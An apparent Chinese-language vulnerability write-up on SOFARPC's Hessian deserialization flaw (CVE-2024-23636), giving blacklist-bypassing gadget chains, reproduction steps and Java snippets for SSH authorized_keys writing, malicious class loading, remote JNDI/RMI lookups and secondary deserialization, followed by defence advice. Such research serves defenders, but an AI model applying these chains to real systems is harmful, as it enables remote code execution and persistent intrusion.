SOFARPC反序列化漏洞(CVE-2024-23636)浅析
字数 1131 2025-08-18 11:36:53
SOFARPC反序列化漏洞(CVE-2024-23636)深度分析与利用指南
0x01 SOFARPC简介与漏洞概述
SOFARPC是阿里巴巴开源的一个高性能、高扩展性、生产级的Java RPC框架。该漏洞存在于SOFARPC 5.12.0之前的版本中,主要问题在于:
- 默认序列化协议:SOFARPC默认使用SOFA Hessian协议进行数据反序列化
- 防护机制缺陷:SOFA Hessian采用黑名单机制限制危险类反序列化,但存在绕过可能
- 漏洞影响:攻击者可构造特定Gadget链绕过黑名单保护,实现远程代码执行(RCE)
- 依赖关系:利用链仅依赖JDK内置类,不依赖任何第三方组件
0x02 漏洞技术分析
序列化机制分析
SOFARPC的序列化/反序列化实现位于com.alipay.sofa.rpc.codec.sofahessian包中:
// SofaHessianSerializer.java
public Object decode(byte[] array, String classType) throws IOException {
// 两种反序列化方式
if (STRING_CLASS.equals(classType)) {
return deserializeString(array);
} else {
return deserializeObject(array);
}
}
关键点:
- 直接调用序列化/反序列化方法时不经过黑名单检查
- 反序列化流程本质是Hessian协议的外层封装
漏洞利用链分析
基础利用链(5.10.0及以下版本)
HashMap.equals
UIDefault.equals
Hashtable.equals
UIDefault.get
UIDefault.getFromHashtable
SwingLazyValue.createValue
5.11.0版本利用链
TreeSet.putAll
javax.naming.ldap.Rdn$RdnEntry.compareTo
com.sun.org.apache.xpath.internal.objects.XStringForFSB.equal
javax.swing.MultiUIDefaults.toString
UIDefaults.get
UIDefaults.getFromHashTable
UIDefaults$LazyValue.createValue
SwingLazyValue.createValue
javax.naming.InitialContext.doLookup()
替代利用链
TreeSet.putAll
javax.naming.ldap.Rdn$RdnEntry.compareTo
com.sun.org.apache.xpath.internal.objects.XString.equal
javax.sound.sampled.AudioFileFormat.toString
UIDefaults.get
UIDefaults.getFromHashTable
UIDefaults$LazyValue.createValue
SwingLazyValue.createValue
javax.naming.InitialContext.doLookup()
黑名单演进
- 5.10.0版本:仅限制
org.apache.xpath相关类 - 5.11.1版本:新增
javax.swing.UIDefaults黑名单 - 5.12.0版本:黑名单扩展至170+个类,覆盖更多危险类
0x03 漏洞复现指南
环境准备
- 搭建SOFARPC服务端(5.12.0以下版本)
- 参考官方泛化调用文档准备客户端环境
攻击步骤
- 构造特定Gadget链的恶意序列化数据
- 通过RPC客户端将payload发送至服务端
- 观察命令执行结果
关键配置
需将黑名单替换为5.11.0版本的黑名单配置以复现漏洞:
com.sun.org.apache.xpath.internal.objects.XString
0x04 高级利用技术
SwingLazyValue的深度利用
SwingLazyValue.createValue可调用sun.reflect.misc.MethodUtil.invoke实现任意方法调用:
1. 文件操作利用
// 写SSH授权文件
byte[] allBytes = Files.readAllBytes(new File("/Users/snake/.ssh/authorized_keys").toPath());
Constructor<?> JavaUtils = JavaUtils.class.getDeclaredConstructors()[0];
JavaUtils.setAccessible(true);
Object javaUtils = JavaUtils.newInstance();
Method bytesToFilename = JavaUtils.class.getMethod("writeBytesToFilename", String.class, byte[].class);
Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Object[] ags = new Object[]{invoke, new Object(), new Object[]{ bytesToFilename,javaUtils,new Object[]{ "/Users/snake/.ssh/authorized_keys1",allBytes}}};
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",ags);
2. 类加载利用
// 类加载攻击
byte[] bytes = Files.readAllBytes(new File("evil.class").toPath());
SwingLazyValue swingLazyValue1 = new SwingLazyValue("java.lang.System","setProperty",new Object[]{"jfr.save.generated.asm","true"});
SwingLazyValue swingLazyValue2 = new SwingLazyValue("jdk.jfr.internal.Utils","writeGeneratedASM",new Object[]{"/tmp/evil/",bytes});
SwingLazyValue swingLazyValue3 = new SwingLazyValue(evil, null, new Object[0]);
3. JNDI攻击(高版本JDK)
// 开启高版本JDK的JNDI出网
Object useCodebaseOnly = new SwingLazyValue("java.lang.System","setProperty",new Object[]{"java.rmi.server.useCodebaseOnly","false"});
Object rmi = new SwingLazyValue("java.lang.System","setProperty",new Object[]{"com.sun.jndi.rmi.object.trustURLCodebase","true"});
Object ldap = new SwingLazyValue("java.lang.System","setProperty",new Object[]{"com.sun.jndi.ldap.object.trustURLCodebase","true"});
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("a", new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"rmi://127.0.0.1:1099/remoteExploit8"}));
4. 二次反序列化攻击
// 利用javax.management.remote.rmi进行二次反序列化
File file = new File("jdk的序列化bin");
byte[] fileBytes = Files.readAllBytes(file.toPath());
String base64 = Base64.getEncoder().encodeToString(fileBytes);
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/"+base64);
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
Method connect = rmiConnector.getClass().getMethod("connect");
Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Object[] ags = new Object[]{invoke, new Object(), new Object[]{ connect,rmiConnector, null}};
0x05 防御建议
- 升级SOFARPC:升级至5.12.0或更高版本
- 序列化防护:
- 使用白名单机制替代黑名单
- 考虑使用JSON等更安全的序列化格式
- 运行时防护:
- 启用Java安全管理器
- 监控可疑的JNDI/RMI调用
- 网络防护:
- 限制RPC服务的网络暴露范围
- 实施网络层访问控制
0x06 参考资源
- Apache Dubbo反序列化漏洞复现分析
- Hessian协议安全研究
- XStream黑名单绕过技术
- SOFARPC官方黑名单文件:5.12.0版本黑名单